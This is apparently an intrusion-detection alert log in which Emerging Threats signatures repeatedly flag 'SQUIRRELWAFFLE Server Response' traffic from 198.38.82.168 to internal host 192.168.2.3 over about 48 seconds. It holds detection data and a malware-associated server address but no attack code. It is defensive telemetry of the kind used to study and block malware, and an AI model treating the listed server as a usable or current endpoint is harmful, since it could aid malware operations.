10/04/21-16:03:52.275311	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50165	198.38.82.168	192.168.2.3
10/04/21-16:03:53.083700	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50167	198.38.82.168	192.168.2.3
10/04/21-16:03:53.083700	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50167	198.38.82.168	192.168.2.3
10/04/21-16:03:53.204486	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50168	198.38.82.168	192.168.2.3
10/04/21-16:03:53.204486	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50168	198.38.82.168	192.168.2.3
10/04/21-16:03:53.964065	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50169	198.38.82.168	192.168.2.3
10/04/21-16:03:53.964065	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50169	198.38.82.168	192.168.2.3
10/04/21-16:03:54.139269	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50170	198.38.82.168	192.168.2.3
10/04/21-16:03:54.139269	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50170	198.38.82.168	192.168.2.3
10/04/21-16:03:54.865691	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50171	198.38.82.168	192.168.2.3
10/04/21-16:03:54.865691	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50171	198.38.82.168	192.168.2.3
10/04/21-16:03:54.940813	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50172	198.38.82.168	192.168.2.3
10/04/21-16:03:54.940813	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50172	198.38.82.168	192.168.2.3
10/04/21-16:03:55.681017	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50173	198.38.82.168	192.168.2.3
10/04/21-16:03:55.681017	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50173	198.38.82.168	192.168.2.3
10/04/21-16:03:55.825355	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50174	198.38.82.168	192.168.2.3
10/04/21-16:03:55.825355	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50174	198.38.82.168	192.168.2.3
10/04/21-16:03:56.706008	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50176	198.38.82.168	192.168.2.3
10/04/21-16:03:56.706008	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50176	198.38.82.168	192.168.2.3
10/04/21-16:03:56.731902	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50175	198.38.82.168	192.168.2.3
10/04/21-16:03:56.731902	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50175	198.38.82.168	192.168.2.3
10/04/21-16:03:57.513619	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50177	198.38.82.168	192.168.2.3
10/04/21-16:03:57.513619	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50177	198.38.82.168	192.168.2.3
10/04/21-16:03:57.630337	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50178	198.38.82.168	192.168.2.3
10/04/21-16:03:57.630337	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50178	198.38.82.168	192.168.2.3
10/04/21-16:03:58.403359	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50179	198.38.82.168	192.168.2.3
10/04/21-16:03:58.403359	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50179	198.38.82.168	192.168.2.3
10/04/21-16:03:58.642800	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50180	198.38.82.168	192.168.2.3
10/04/21-16:03:58.642800	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50180	198.38.82.168	192.168.2.3
10/04/21-16:03:59.238574	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50181	198.38.82.168	192.168.2.3
10/04/21-16:03:59.238574	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50181	198.38.82.168	192.168.2.3
10/04/21-16:03:59.439303	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50182	198.38.82.168	192.168.2.3
10/04/21-16:03:59.439303	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50182	198.38.82.168	192.168.2.3
10/04/21-16:04:00.056376	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50183	198.38.82.168	192.168.2.3
10/04/21-16:04:00.056376	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50183	198.38.82.168	192.168.2.3
10/04/21-16:04:00.385198	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50184	198.38.82.168	192.168.2.3
10/04/21-16:04:00.385198	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50184	198.38.82.168	192.168.2.3
10/04/21-16:04:00.978023	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50185	198.38.82.168	192.168.2.3
10/04/21-16:04:00.978023	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50185	198.38.82.168	192.168.2.3
10/04/21-16:04:01.188083	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50186	198.38.82.168	192.168.2.3
10/04/21-16:04:01.188083	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50186	198.38.82.168	192.168.2.3
10/04/21-16:04:01.776893	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50187	198.38.82.168	192.168.2.3
10/04/21-16:04:01.776893	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50187	198.38.82.168	192.168.2.3
10/04/21-16:04:02.059801	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50188	198.38.82.168	192.168.2.3
10/04/21-16:04:02.059801	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50188	198.38.82.168	192.168.2.3
10/04/21-16:04:02.678828	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50189	198.38.82.168	192.168.2.3
10/04/21-16:04:02.678828	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50189	198.38.82.168	192.168.2.3
10/04/21-16:04:02.972338	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50190	198.38.82.168	192.168.2.3
10/04/21-16:04:02.972338	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50190	198.38.82.168	192.168.2.3
10/04/21-16:04:03.773534	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50191	198.38.82.168	192.168.2.3
10/04/21-16:04:03.773534	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50191	198.38.82.168	192.168.2.3
10/04/21-16:04:03.825813	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50192	198.38.82.168	192.168.2.3
10/04/21-16:04:03.825813	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50192	198.38.82.168	192.168.2.3
10/04/21-16:04:04.655652	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50194	198.38.82.168	192.168.2.3
10/04/21-16:04:04.655652	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50194	198.38.82.168	192.168.2.3
10/04/21-16:04:04.702747	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50193	198.38.82.168	192.168.2.3
10/04/21-16:04:04.702747	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50193	198.38.82.168	192.168.2.3
10/04/21-16:04:05.433121	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50195	198.38.82.168	192.168.2.3
10/04/21-16:04:05.433121	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50195	198.38.82.168	192.168.2.3
10/04/21-16:04:05.591675	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50196	198.38.82.168	192.168.2.3
10/04/21-16:04:05.591675	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50196	198.38.82.168	192.168.2.3
10/04/21-16:04:06.396694	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50197	198.38.82.168	192.168.2.3
10/04/21-16:04:06.396694	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50197	198.38.82.168	192.168.2.3
10/04/21-16:04:06.481024	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50198	198.38.82.168	192.168.2.3
10/04/21-16:04:06.481024	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50198	198.38.82.168	192.168.2.3
10/04/21-16:04:07.353321	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50199	198.38.82.168	192.168.2.3
10/04/21-16:04:07.353321	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50199	198.38.82.168	192.168.2.3
10/04/21-16:04:07.500559	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50200	198.38.82.168	192.168.2.3
10/04/21-16:04:07.500559	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50200	198.38.82.168	192.168.2.3
10/04/21-16:04:08.146671	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50201	198.38.82.168	192.168.2.3
10/04/21-16:04:08.146671	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50201	198.38.82.168	192.168.2.3
10/04/21-16:04:08.401217	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50202	198.38.82.168	192.168.2.3
10/04/21-16:04:08.401217	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50202	198.38.82.168	192.168.2.3
10/04/21-16:04:08.942487	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50203	198.38.82.168	192.168.2.3
10/04/21-16:04:08.942487	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50203	198.38.82.168	192.168.2.3
10/04/21-16:04:09.196146	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50204	198.38.82.168	192.168.2.3
10/04/21-16:04:09.196146	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50204	198.38.82.168	192.168.2.3
10/04/21-16:04:09.772726	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50205	198.38.82.168	192.168.2.3
10/04/21-16:04:09.772726	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50205	198.38.82.168	192.168.2.3
10/04/21-16:04:09.961471	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50206	198.38.82.168	192.168.2.3
10/04/21-16:04:09.961471	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50206	198.38.82.168	192.168.2.3
10/04/21-16:04:10.610320	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50207	198.38.82.168	192.168.2.3
10/04/21-16:04:10.610320	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50207	198.38.82.168	192.168.2.3
10/04/21-16:04:10.792984	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50208	198.38.82.168	192.168.2.3
10/04/21-16:04:10.792984	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50208	198.38.82.168	192.168.2.3
10/04/21-16:04:11.560417	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50210	198.38.82.168	192.168.2.3
10/04/21-16:04:11.560417	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50210	198.38.82.168	192.168.2.3
10/04/21-16:04:11.593907	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50209	198.38.82.168	192.168.2.3
10/04/21-16:04:11.593907	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50209	198.38.82.168	192.168.2.3
10/04/21-16:04:12.336736	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50211	198.38.82.168	192.168.2.3
10/04/21-16:04:12.336736	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50211	198.38.82.168	192.168.2.3
10/04/21-16:04:12.459754	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50212	198.38.82.168	192.168.2.3
10/04/21-16:04:12.459754	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50212	198.38.82.168	192.168.2.3
10/04/21-16:04:13.217263	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50213	198.38.82.168	192.168.2.3
10/04/21-16:04:13.217263	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50213	198.38.82.168	192.168.2.3
10/04/21-16:04:13.321877	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50214	198.38.82.168	192.168.2.3
10/04/21-16:04:13.321877	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50214	198.38.82.168	192.168.2.3
10/04/21-16:04:14.089346	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50215	198.38.82.168	192.168.2.3
10/04/21-16:04:14.089346	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50215	198.38.82.168	192.168.2.3
10/04/21-16:04:14.198388	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50216	198.38.82.168	192.168.2.3
10/04/21-16:04:14.198388	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50216	198.38.82.168	192.168.2.3
10/04/21-16:04:14.939779	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50217	198.38.82.168	192.168.2.3
10/04/21-16:04:14.939779	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50217	198.38.82.168	192.168.2.3
10/04/21-16:04:15.116566	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50218	198.38.82.168	192.168.2.3
10/04/21-16:04:15.116566	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50218	198.38.82.168	192.168.2.3
10/04/21-16:04:15.855624	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50219	198.38.82.168	192.168.2.3
10/04/21-16:04:15.855624	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50219	198.38.82.168	192.168.2.3
10/04/21-16:04:16.066496	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50220	198.38.82.168	192.168.2.3
10/04/21-16:04:16.066496	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50220	198.38.82.168	192.168.2.3
10/04/21-16:04:16.718365	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50221	198.38.82.168	192.168.2.3
10/04/21-16:04:16.718365	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50221	198.38.82.168	192.168.2.3
10/04/21-16:04:16.881581	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50222	198.38.82.168	192.168.2.3
10/04/21-16:04:16.881581	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50222	198.38.82.168	192.168.2.3
10/04/21-16:04:17.567081	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50223	198.38.82.168	192.168.2.3
10/04/21-16:04:17.567081	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50223	198.38.82.168	192.168.2.3
10/04/21-16:04:17.656434	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50224	198.38.82.168	192.168.2.3
10/04/21-16:04:17.656434	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50224	198.38.82.168	192.168.2.3
10/04/21-16:04:18.466847	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50225	198.38.82.168	192.168.2.3
10/04/21-16:04:18.466847	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50225	198.38.82.168	192.168.2.3
10/04/21-16:04:18.537421	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50226	198.38.82.168	192.168.2.3
10/04/21-16:04:18.537421	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50226	198.38.82.168	192.168.2.3
10/04/21-16:04:19.455529	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50228	198.38.82.168	192.168.2.3
10/04/21-16:04:19.455529	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50228	198.38.82.168	192.168.2.3
10/04/21-16:04:19.481005	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50227	198.38.82.168	192.168.2.3
10/04/21-16:04:19.481005	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50227	198.38.82.168	192.168.2.3
10/04/21-16:04:20.348198	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50229	198.38.82.168	192.168.2.3
10/04/21-16:04:20.348198	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50229	198.38.82.168	192.168.2.3
10/04/21-16:04:20.448796	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50230	198.38.82.168	192.168.2.3
10/04/21-16:04:20.448796	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50230	198.38.82.168	192.168.2.3
10/04/21-16:04:21.143919	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50231	198.38.82.168	192.168.2.3
10/04/21-16:04:21.143919	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50231	198.38.82.168	192.168.2.3
10/04/21-16:04:21.370322	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50232	198.38.82.168	192.168.2.3
10/04/21-16:04:21.370322	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50232	198.38.82.168	192.168.2.3
10/04/21-16:04:22.071691	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50233	198.38.82.168	192.168.2.3
10/04/21-16:04:22.071691	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50233	198.38.82.168	192.168.2.3
10/04/21-16:04:22.247225	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50234	198.38.82.168	192.168.2.3
10/04/21-16:04:22.247225	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50234	198.38.82.168	192.168.2.3
10/04/21-16:04:23.119183	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50236	198.38.82.168	192.168.2.3
10/04/21-16:04:23.119183	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50236	198.38.82.168	192.168.2.3
10/04/21-16:04:23.119053	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50235	198.38.82.168	192.168.2.3
10/04/21-16:04:23.119053	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50235	198.38.82.168	192.168.2.3
10/04/21-16:04:24.044930	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50237	198.38.82.168	192.168.2.3
10/04/21-16:04:24.044930	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50237	198.38.82.168	192.168.2.3
10/04/21-16:04:25.486065	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50238	198.38.82.168	192.168.2.3
10/04/21-16:04:25.486065	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50238	198.38.82.168	192.168.2.3
10/04/21-16:04:25.983273	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50239	198.38.82.168	192.168.2.3
10/04/21-16:04:25.983273	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50239	198.38.82.168	192.168.2.3
10/04/21-16:04:26.577258	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50240	198.38.82.168	192.168.2.3
10/04/21-16:04:26.577258	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50240	198.38.82.168	192.168.2.3
10/04/21-16:04:26.948910	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50241	198.38.82.168	192.168.2.3
10/04/21-16:04:26.948910	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50241	198.38.82.168	192.168.2.3
10/04/21-16:04:27.462834	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50242	198.38.82.168	192.168.2.3
10/04/21-16:04:27.462834	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50242	198.38.82.168	192.168.2.3
10/04/21-16:04:27.963539	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50243	198.38.82.168	192.168.2.3
10/04/21-16:04:27.963539	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50243	198.38.82.168	192.168.2.3
10/04/21-16:04:28.332083	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50244	198.38.82.168	192.168.2.3
10/04/21-16:04:28.332083	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50244	198.38.82.168	192.168.2.3
10/04/21-16:04:28.822289	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50245	198.38.82.168	192.168.2.3
10/04/21-16:04:28.822289	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50245	198.38.82.168	192.168.2.3
10/04/21-16:04:29.129387	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50246	198.38.82.168	192.168.2.3
10/04/21-16:04:29.129387	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50246	198.38.82.168	192.168.2.3
10/04/21-16:04:29.693682	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50247	198.38.82.168	192.168.2.3
10/04/21-16:04:29.693682	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50247	198.38.82.168	192.168.2.3
10/04/21-16:04:29.979071	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50248	198.38.82.168	192.168.2.3
10/04/21-16:04:29.979071	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50248	198.38.82.168	192.168.2.3
10/04/21-16:04:30.504647	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50249	198.38.82.168	192.168.2.3
10/04/21-16:04:30.504647	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50249	198.38.82.168	192.168.2.3
10/04/21-16:04:30.839287	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50250	198.38.82.168	192.168.2.3
10/04/21-16:04:30.839287	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50250	198.38.82.168	192.168.2.3
10/04/21-16:04:31.320317	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50251	198.38.82.168	192.168.2.3
10/04/21-16:04:31.320317	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50251	198.38.82.168	192.168.2.3
10/04/21-16:04:31.814824	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50252	198.38.82.168	192.168.2.3
10/04/21-16:04:31.814824	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50252	198.38.82.168	192.168.2.3
10/04/21-16:04:32.270172	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50253	198.38.82.168	192.168.2.3
10/04/21-16:04:32.270172	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50253	198.38.82.168	192.168.2.3
10/04/21-16:04:32.604642	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50254	198.38.82.168	192.168.2.3
10/04/21-16:04:32.604642	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50254	198.38.82.168	192.168.2.3
10/04/21-16:04:33.135620	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50255	198.38.82.168	192.168.2.3
10/04/21-16:04:33.135620	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50255	198.38.82.168	192.168.2.3
10/04/21-16:04:33.656933	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50256	198.38.82.168	192.168.2.3
10/04/21-16:04:33.656933	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50256	198.38.82.168	192.168.2.3
10/04/21-16:04:33.971733	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50257	198.38.82.168	192.168.2.3
10/04/21-16:04:33.971733	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50257	198.38.82.168	192.168.2.3
10/04/21-16:04:34.494343	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50258	198.38.82.168	192.168.2.3
10/04/21-16:04:34.494343	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50258	198.38.82.168	192.168.2.3
10/04/21-16:04:34.949887	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50259	198.38.82.168	192.168.2.3
10/04/21-16:04:34.949887	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50259	198.38.82.168	192.168.2.3
10/04/21-16:04:35.510983	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50260	198.38.82.168	192.168.2.3
10/04/21-16:04:35.510983	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50260	198.38.82.168	192.168.2.3
10/04/21-16:04:35.788102	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50261	198.38.82.168	192.168.2.3
10/04/21-16:04:35.788102	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50261	198.38.82.168	192.168.2.3
10/04/21-16:04:36.409773	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50262	198.38.82.168	192.168.2.3
10/04/21-16:04:36.409773	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50262	198.38.82.168	192.168.2.3
10/04/21-16:04:36.827686	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50263	198.38.82.168	192.168.2.3
10/04/21-16:04:36.827686	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50263	198.38.82.168	192.168.2.3
10/04/21-16:04:37.297177	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50264	198.38.82.168	192.168.2.3
10/04/21-16:04:37.297177	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50264	198.38.82.168	192.168.2.3
10/04/21-16:04:37.599249	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50265	198.38.82.168	192.168.2.3
10/04/21-16:04:37.599249	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50265	198.38.82.168	192.168.2.3
10/04/21-16:04:38.113533	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50266	198.38.82.168	192.168.2.3
10/04/21-16:04:38.113533	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50266	198.38.82.168	192.168.2.3
10/04/21-16:04:38.439357	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50267	198.38.82.168	192.168.2.3
10/04/21-16:04:38.439357	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50267	198.38.82.168	192.168.2.3
10/04/21-16:04:39.041448	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50268	198.38.82.168	192.168.2.3
10/04/21-16:04:39.041448	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50268	198.38.82.168	192.168.2.3
10/04/21-16:04:39.181845	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50269	198.38.82.168	192.168.2.3
10/04/21-16:04:39.181845	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50269	198.38.82.168	192.168.2.3
10/04/21-16:04:39.802353	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50270	198.38.82.168	192.168.2.3
10/04/21-16:04:39.802353	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50270	198.38.82.168	192.168.2.3
10/04/21-16:04:39.987711	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50271	198.38.82.168	192.168.2.3
10/04/21-16:04:39.987711	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50271	198.38.82.168	192.168.2.3
10/04/21-16:04:40.611210	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50272	198.38.82.168	192.168.2.3
